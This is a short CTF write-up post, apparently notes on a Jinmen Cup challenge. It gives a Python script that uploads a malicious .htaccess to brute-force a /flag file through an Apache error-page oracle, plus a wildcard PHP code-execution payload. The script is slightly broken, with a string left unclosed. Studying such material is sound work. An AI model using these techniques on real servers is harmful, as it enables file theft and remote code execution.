NU1L-wp学习-津门杯

UploadHub

import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
 f = '''
 <If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
 
 resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
 a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
 if "wupco" not in a:
 return False
 else:
 return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
 for i in c:
 print("checking: "+ flag+i) 
 if check(flag+i):
 flag = flag+i
 print(flag)
 break
 else:
 continue

payload
http://122.112.214.101:20004/?code=?><?=/???/???%20/????;

上一篇:WordPress程序/functions.php收集整理的各种自定义优化代码分享


下一篇:数据库查询性能优化问题